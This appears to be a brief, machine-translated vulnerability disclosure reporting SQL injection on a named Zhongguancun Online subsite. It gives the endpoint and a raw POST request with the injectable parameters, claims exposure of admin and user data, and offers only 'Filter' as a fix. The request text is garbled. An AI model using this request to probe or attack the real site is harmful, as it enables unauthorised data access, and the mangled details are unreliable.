SQL injection vulnerability in a website under Zhongguancun online

SQL injection vulnerability in a website under Zhongguancun online

Zhongguancun online under a station SQL injection vulnerability http://easyxiu.zol.com.cn/H/

POST/H/action /? Act = order HTTP/1.1
Content-Length: 75
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://easyxiu.zol.com.cn: 80/H/
Cookie: PHPSESSID = response; iweb_safecode = response; iweb_shoppingcart = response; response = 1437715291,1437715291, 1437715291; response = 1437715291; HMACCOUNT = 04153CB1484BD1EB
Host: easyxiu.zol.com.cn
Connection: Keep-alive
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept :*/*
Repair_addcadion = 1 & rep_id = 1 & rep_preic = 1



Admin user

User, more than 500 pieces of data

Solution:

Filter